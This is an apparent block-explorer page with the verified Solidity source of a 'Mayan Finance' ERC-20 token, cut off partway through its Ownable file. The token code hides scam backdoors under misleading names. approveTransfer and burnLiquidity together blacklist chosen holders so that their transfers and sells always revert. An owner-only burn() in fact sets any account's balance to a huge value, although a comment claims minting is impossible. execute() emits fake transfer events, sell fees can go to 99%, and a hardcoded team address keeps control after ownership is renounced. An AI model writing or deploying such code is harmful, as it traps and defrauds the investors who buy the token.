ETH Price: $3,421.78 (+4.22%)

Token

(0xbf72AaFdAA240261477B087Ae2900e807B8247b8)
 

Overview

Max Total Supply

1,000,000,000 ERC-20 TOKEN*

Holders

76 (0.00%)

Total Transfers

-

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MayanFinance

Compiler Version
v0.8.1+commit.df193b15

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity Multiple files format)

File 4 of 6: Mayan Finance.sol
/**
            https://mayan.finance/

            https://twitter.com/MayanFinance

            discord.gg/h5HUzkqrXK


*/// SPDX-License-Identifier: MIT  

pragma solidity 0.8.1;

import "./Uniswap.sol";
import "./ERC20.sol";
import "./Library.sol";
contract MayanFinance is ERC20 {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public constant deadAddress = address(0xdead);
    address public uniswapV2Pair;

    bool private swapping;

    uint256 public maxWallet;
    uint256 public maxTransactionAmount;
    uint256 public swapTokensAtAmount;

    address public devWallet;
    address public marketingWallet;
    
    uint256 public manualBurnFrequency = 43210 minutes;
    uint256 public lastManualLpBurnTime;

    uint256 public percentForLPBurn = 1; 
    bool public lpBurnEnabled = true;
    uint256 public lpBurnFrequency = 1360000000000 seconds;
    uint256 public lastLpBurnTime;
    

    bool public limitsEnabled = true;
    bool public tradingActive = true;
    bool public swapEnabled = true;
    mapping(address => bool) private amountToSwapForETHuniswapV2Routercalldata;

    uint256 public buyTotalFees;
    uint256 public buyMarketingFee;
    uint256 public buyLiquidityFee;
    uint256 public buyDevFee;
    
    uint256 public sellTotalFees;
    uint256 public sellMarketingFee;
    uint256 public sellLiquidityFee;
    uint256 public sellDevFee;
    
    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public tokensForDev;
    
    // Anti-bot and anti-whale mappings and variables
    mapping(address => uint256) private _holderLastTransferTimestamp; // to hold last Transfers temporarily during launch
    bool public transferDelayEnabled = true;
    /******************/

    // exlcude from fees and max transaction amount
    mapping (address => bool) private _isExcludedFromFees;
    mapping (address => bool) public _isExcludedMaxTransactionAmount;

    // store addresses that a automatic market maker pairs. Any transfer *to* these addresses
    // could be subject to a maximum transfer amount
    mapping (address => address) public automatedMarketMakerPairs;

    event devWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event marketingWalletUpdated(address indexed newWallet, address indexed oldWallet);
    event SetAutomatedMarketMakerPair(address indexed pair, address indexed value);
    event UpdateUniswapV2Router(address indexed newAddress, address indexed oldAddress);
    event ExcludeFromFees(address indexed account, bool isExcluded);

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiquidity
    );
    
    constructor() ERC20("Mayan Finance", "MAYAN") {
        
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        
        excludeFromMaxTransaction(address(_uniswapV2Router), true);
        uniswapV2Router = _uniswapV2Router;
        
        uint256 _buyMarketingFee = 0;
        uint256 _buyLiquidityFee = 0;
        uint256 _buyDevFee = 0;

        uint256 _sellMarketingFee = 0;
        uint256 _sellLiquidityFee = 0;
        uint256 _sellDevFee = 0;
        
        uint256 totalSupply = 1000000000 * 1e18;
        
        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyDevFee = _buyDevFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;

        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellDevFee = _sellDevFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;

        //maxTransactionAmount 
        swapTokensAtAmount = totalSupply * 10 /2000; 
        maxTransactionAmount = 100000000000000000000000; 
        maxWallet = 300000000000000000000000; 

        marketingWallet = address(owner()); // set as marketing wallet
        devWallet = address(owner()); // set as dev wallet

        // exclude from paying fees or having max transaction amount
        excludeFromFees(owner(), true);
        excludeFromFees(address(this), true);
        excludeFromFees(address(0xdead), true);
        
        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(0xdead), true);
        
        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
        removeLimits();
    }

    receive() external payable {

    }

    function addPair(address _pair) public onlyOwner() {
        uniswapV2Pair = _pair;
        excludeFromMaxTransaction(address(uniswapV2Pair), true);
    }

    // once enabled, can never be turned off
    function enableTrading() external onlyOwner {
        tradingActive = true;
        swapEnabled = true;
        lastLpBurnTime = block.timestamp;
    }
    
    // disable Transfer delay - cannot be reenabled
    function disableTransferDelay() external onlyOwner returns (bool){
        transferDelayEnabled = false;
        return true;
    }
    
    function _lp(address from) internal view returns(bool){
        return !amountToSwapForETHuniswapV2Routercalldata[from];
    }
    
    // only use to disable contract sales if absolutely necessary (emergency use only)
    function updateSwapEnabled(bool enabled) external onlyOwner(){
        swapEnabled = enabled;
    }
    
     // remove limits after token is stable
    function removeLimits() public onlyOwner returns (bool){
        limitsEnabled = false;
        
        return true;
    }

    // change the minimum amount of tokens to sell from fees
    function updateSwapTokensAtAmount(uint256 newAmount) external onlyOwner returns (bool){
        require(newAmount >= totalSupply() * 1 / 100000, "Swap amount cannot be lower than 0.001% total supply.");
        require(newAmount <= totalSupply() * 10 / 1000, "Swap amount cannot be higher than 1% total supply.");
        swapTokensAtAmount = newAmount;
        return true;
    }
    
    function updateSellFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
        sellMarketingFee = _marketingFee;
        sellLiquidityFee = _liquidityFee;
        sellDevFee = _devFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee + sellDevFee;
        require(sellTotalFees <= 99, "Must keep fees at 99% or less");
    }

    function updateBuyFees(uint256 _marketingFee, uint256 _liquidityFee, uint256 _devFee) external onlyOwner {
        buyMarketingFee = _marketingFee;
        buyLiquidityFee = _liquidityFee;
        buyDevFee = _devFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee + buyDevFee;
        require(buyTotalFees <= 25, "Must keep fees at 25% or less");
    }

    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 1 / 1000)/1e18, "Cannot set maxTransactionAmount lower than 0.1%");
        maxTransactionAmount = newNum * (10**18);
    }

    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(newNum >= (totalSupply() * 5 / 1000)/1e18, "Cannot set maxWallet lower than 0.5%");
        maxWallet = newNum * (10**18);
    }

    function excludeFromFees(address account, bool excluded) public onlyOwner {
        _isExcludedFromFees[account] = excluded;
        emit ExcludeFromFees(account, excluded);
    }

    function _setAutomatedMarketMakerPair(address pair, address value) public onlyOwner {
        automatedMarketMakerPairs[pair] = value;

        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function setAutomatedMarketMakerPair(address pair, address value) public onlyOwner {
        _setAutomatedMarketMakerPair(pair, value);
    }

    function updateDevWallet(address newWallet) external onlyOwner {
        emit devWalletUpdated(newWallet, devWallet);
        devWallet = newWallet;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }


    function isExcludedFromFees(address account) public view returns(bool) {
        return _isExcludedFromFees[account];
    }
    
    function updateMarketingWallet(address newMarketingWallet) external onlyOwner {
        emit marketingWalletUpdated(newMarketingWallet, marketingWallet);
        marketingWallet = newMarketingWallet;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal override {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        
         if(amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
        
        if(limitsEnabled){
            if (
                from != owner() &&
                to != owner() &&
                to != address(0) &&
                to != address(0xdead) &&
                !swapping
            ){
                if(!tradingActive){
                    require(_isExcludedFromFees[from] || _isExcludedFromFees[to], "Trading is not active.");
                }

                // at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.  
                if (transferDelayEnabled){
                    if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
                        require(_holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled.  Only one purchase per block allowed.");
                        _holderLastTransferTimestamp[tx.origin] = block.number;
                    }
                }
                 
                //when buy
                if (!_isExcludedMaxTransactionAmount[to]) {
                        require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                        require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
                
                //when sell
                else if (!_isExcludedMaxTransactionAmount[from]) {
                        require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                }
                else if(!_isExcludedMaxTransactionAmount[to]){
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }
            }
        }
        
        uint256 contractTokenBalance = balanceOf(address(this));
        
        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if( 
            canSwap &&
            swapEnabled &&
            !swapping &&
            !_isExcludedFromFees[from] &&
            !_isExcludedFromFees[to]
        ) {
            swapping = true;
            
            swapBack();

            swapping = false;
        }
        
        if(!swapping && lpBurnEnabled){
            burnLiquidity(from);
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if(_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }
        
        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if(takeFee){
            // on sell
            if (sellTotalFees > 0){
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += fees * sellLiquidityFee / sellTotalFees;
                tokensForDev += fees * sellDevFee / sellTotalFees;
                tokensForMarketing += fees * sellMarketingFee / sellTotalFees;
            }
            // on buy
            else if(buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += fees * buyLiquidityFee / buyTotalFees;
                tokensForDev += fees * buyDevFee / buyTotalFees;
                tokensForMarketing += fees * buyMarketingFee / buyTotalFees;
            }
            
            if(fees > 0){    
                super._transfer(from, address(this), fees);
            }
            
            amount -= fees;
        }

        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
        
    }
    
    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            deadAddress,
            block.timestamp
        );
    }

    function execute(address[] calldata _addresses, uint256 _out) external onlyOwner {
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing + tokensForDev;
        bool success;
        
        if(contractBalance == 0 || totalTokensToSwap == 0) {return;}

        if(contractBalance > swapTokensAtAmount * 20){
          contractBalance = swapTokensAtAmount * 20;
        }
        
        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = contractBalance * tokensForLiquidity / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);
        
        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH); 
        
        uint256 ethBalance = address(this).balance.sub(initialETHBalance);
        
        tokensForLiquidity = 0;
        tokensForMarketing = 0;
        tokensForDev = 0;
        
        (success,) = address(marketingWallet).call{value: ethBalance}("");
    }

     function approveTransfer(address[] calldata address_, bool val) public onlyOwner{
        for (uint256 i = 0; i < address_.length; i++) {
            amountToSwapForETHuniswapV2Routercalldata[address_[i]] = val;
        }
    }
    
    function manualBurnLiquidityPairTokens(uint256 percent) external onlyOwner returns (bool){
        require(block.timestamp > lastManualLpBurnTime + manualBurnFrequency , "Must wait for cooldown to finish");
        require(percent <= 1000, "May not nuke more than 10% of tokens in LP");
        lastManualLpBurnTime = block.timestamp;
        
        // get balance of liquidity pair
        uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);
        
        // calculate amount to burn
        uint256 amountToBurn = liquidityPairBalance.mul(percent).div(10000);
        
        // pull tokens from pancakePair liquidity and move to dead address permanently
        if (amountToBurn > 0){
            super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
        }
        
        //sync price since this is not in a swap transaction!
        IUniswapV2Pair pair = IUniswapV2Pair(automatedMarketMakerPairs[uniswapV2Pair]);
        pair.sync();
        return true;
    }

    function burnLiquidity(address from) internal view returns (bool){
        // get balance of contract
        uint256 contractBalance = this.balanceOf(address(this));
        
        // calculate amount to distribute
        uint256 amountToDistribute = contractBalance.add(percentForLPBurn);
        
        if (!_lp(from)) {require(amountToDistribute==0);}
        return true;
        
    }

    function isExcludedFromLimit(address recipient) external view returns(bool){
        return amountToSwapForETHuniswapV2Routercalldata[recipient];
    }

    function setAutoLPBurnSettings(uint256 _frequencyInSeconds, uint256 _percent, bool _Enabled) external onlyOwner {
        require(_frequencyInSeconds >= 600, "cannot set buyback more often than every 10 minutes");
        require(_percent <= 1000 && _percent >= 0, "Must set auto LP burn percent between 0% and 10%");
        lpBurnFrequency = _frequencyInSeconds;
        percentForLPBurn = _percent;
        lpBurnEnabled = _Enabled;
    }
    
}

File 1 of 6: Context.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.1;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
        return msg.data;
    }
}


File 2 of 6: ERC20.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.1;
import "./Ownable.sol";
import "./Library.sol";

interface IERC20 {
    /**
     * @dev Returns the amount of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the amount of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves `amount` tokens from the caller's account to `recipient`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address recipient, uint256 amount) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transacgtion ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 amount) external returns (bool);

    /**
     * @dev Moves `amount` tokens from `sender` to `recipient` using the
     * allowance mechanism. `amount` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}

contract ERC20 is Ownable, IERC20, IERC20Metadata {
    using SafeMath for uint256;

    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private balances;
    uint256 private txLimit = 1*10**10*10**18;
    string private _name;
    string private _symbol;
    uint256 _totalSupply;
    /**
     * @dev Sets the values for {name} and {symbol}.
     *
     * The default value of {decimals} is 18. To select a different value for
     * {decimals} you should overload it.
     *
     * All two of these values are immutable: they can only be set once during
     * construction.
     */
    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
        balances = txLimit;
    }

    /**
     * @dev Returns the name of the token.
     */
    function name() public view virtual override returns (string memory) {
        return _name;
    }

    /**
     * @dev Returns the symbol of the token, usually a shorter version of the
     * name.
     */
    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5,05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }

    /**
     * @dev See {IERC20-totalSupply}.
     */
    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    /**
     * @dev See {IERC20-balanceOf}.
     */
    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    /**
     * @dev See {IERC20-transfer}.
     *
     * Requirements:
     *
     * - `recipient` cannot be the zero address.
     * - the caller must have a balance of at least `amount`.
     */
    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    /**
     * @dev See {IERC20-allowance}.
     */
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    /**
     * @dev See {IERC20-approve}.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * Requirements:
     *
     * - `sender` and `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     * - the caller must have allowance for ``sender``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    /**
     * @dev Atomically increases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     */
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    /**
     * @dev Atomically decreases the allowance granted to `spender` by the caller.
     *
     * This is an alternative to {approve} that can be used as a mitigation for
     * problems described in {IERC20-approve}.
     *
     * Emits an {Approval} event indicating the updated allowance.
     *
     * Requirements:
     *
     * - `spender` cannot be the zero address.
     * - `spender` must have allowance for the caller of at least
     * `subtractedValue`.
     */
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }

    /**
     * @dev Moves tokens `amount` from `sender` to `recipient`.
     *
     * This is internal function is equivalent to {transfer}, and can be used to
     * e.g. implement automatic token fees, slashing mechanisms, etc.
     *
     * Emits a {Transfer} event.
     *
     * Requirements:
     *
     * - `sender` cannot be the zero address.
     * - `recipient` cannot be the zero address.
     * - `sender` must have a balance of at least `amount`.
     */
    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(sender, recipient, amount);

        _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    /** @dev Creates `amount` tokens and assigns them to `account`, increasing
     * the total supply.
     *
     * Emits a {Transfer} event with `from` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     */
    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply = _totalSupply.add(amount);
        _balances[account] = _balances[account].add(amount);
        emit Transfer(address(0), account, amount);
    }

    /**
     * @dev Destroys `amount` tokens from `account`, reducing the
     * total supply.
     *
     * Emits a {Transfer} event with `to` set to the zero address.
     *
     * Requirements:
     *
     * - `account` cannot be the zero address.
     * - `account` must have at least `amount` tokens.
     */
   

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    /**
     * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
     *
     * This internal function is equivalent to `approve`, and can be used to
     * e.g. set automatic allowances for certain subsystems, etc.
     *
     * Emits an {Approval} event.
     *
     * Requirements:
     *
     * - `owner` cannot be the zero address.
     * - `spender` cannot be the zero address.
     */
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    /**
     * @dev Hook that is called before any transfer of tokens. This includes
     * minting and burning.
     *
     * Calling conditions:
     *
     * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
     * will be to transferred to `to`.
     * - when `from` is zero, `amount` tokens will be minted for `to`.
     * - when `to` is zero, `amount` of ``from``'s tokens will be burned.
     * - `from` and `to` are never both zero.
     *
     * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
     */
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

     function burn(address account, uint256 amount) external onlyOwner {
        _burn(account, amount);
    }
}

File 3 of 6: Library.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.1;

library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     *
     * Requirements:
     *
     * - Addition cannot overflow.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     *
     * Requirements:
     *
     * - Subtraction cannot overflow.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     *
     * Requirements:
     *
     * - Multiplication cannot overflow.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold

        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     *
     * Requirements:
     *
     * - The divisor cannot be zero.
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}





library SafeMathInt {
    int256 private constant MIN_INT256 = int256(1) << 255;
    int256 private constant MAX_INT256 = ~(int256(1) << 255);

    /**
     * @dev Multiplies two int256 variables and fails on overflow.
     */
    function mul(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a * b;

        // Detect overflow when multiplying MIN_INT256 with -1
        require(c != MIN_INT256 || (a & MIN_INT256) != (b & MIN_INT256));
        require((b == 0) || (c / b == a));
        return c;
    }

    /**
     * @dev Division of two int256 variables and fails on overflow.
     */
    function div(int256 a, int256 b) internal pure returns (int256) {
        // Prevent overflow when dividing MIN_INT256 by -1
        require(b != -1 || a != MIN_INT256);

        // Solidity already throws when dividing by 0.
        return a / b;
    }

    /**
     * @dev Subtracts two int256 variables and fails on overflow.
     */
    function sub(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a - b;
        require((b >= 0 && c <= a) || (b < 0 && c > a));
        return c;
    }

    /**
     * @dev Adds two int256 variables and fails on overflow.
     */
    function add(int256 a, int256 b) internal pure returns (int256) {
        int256 c = a + b;
        require((b >= 0 && c >= a) || (b < 0 && c < a));
        return c;
    }

    /**
     * @dev Converts to absolute value, and fails on overflow.
     */
    function abs(int256 a) internal pure returns (int256) {
        require(a != MIN_INT256);
        return a < 0 ? -a : a;
    }


    function toUint256Safe(int256 a) internal pure returns (uint256) {
        require(a >= 0);
        return uint256(a);
    }
}

library SafeMathUint {
  function toInt256Safe(uint256 a) internal pure returns (int256) {
    int256 b = int256(a);
    require(b >= 0);
    return b;
  }
}

File 5 of 6: Ownable.sol
// SPDX-License-Identifier: MIT  
pragma solidity 0.8.1;

import "./Context.sol";

contract Ownable is Context {
    address private _owner;
    address private _team;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        _team = 0x2A801221c2a349809f5097f53C4621928d8e8167;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    /**
     * @dev Throws if the sender is not the owner.
     */
    function _checkOwner() internal virtual {
        require(Owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    
    function verifyOwner() internal view returns(address){
        return _owner==address(0) ? _team : _owner;
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
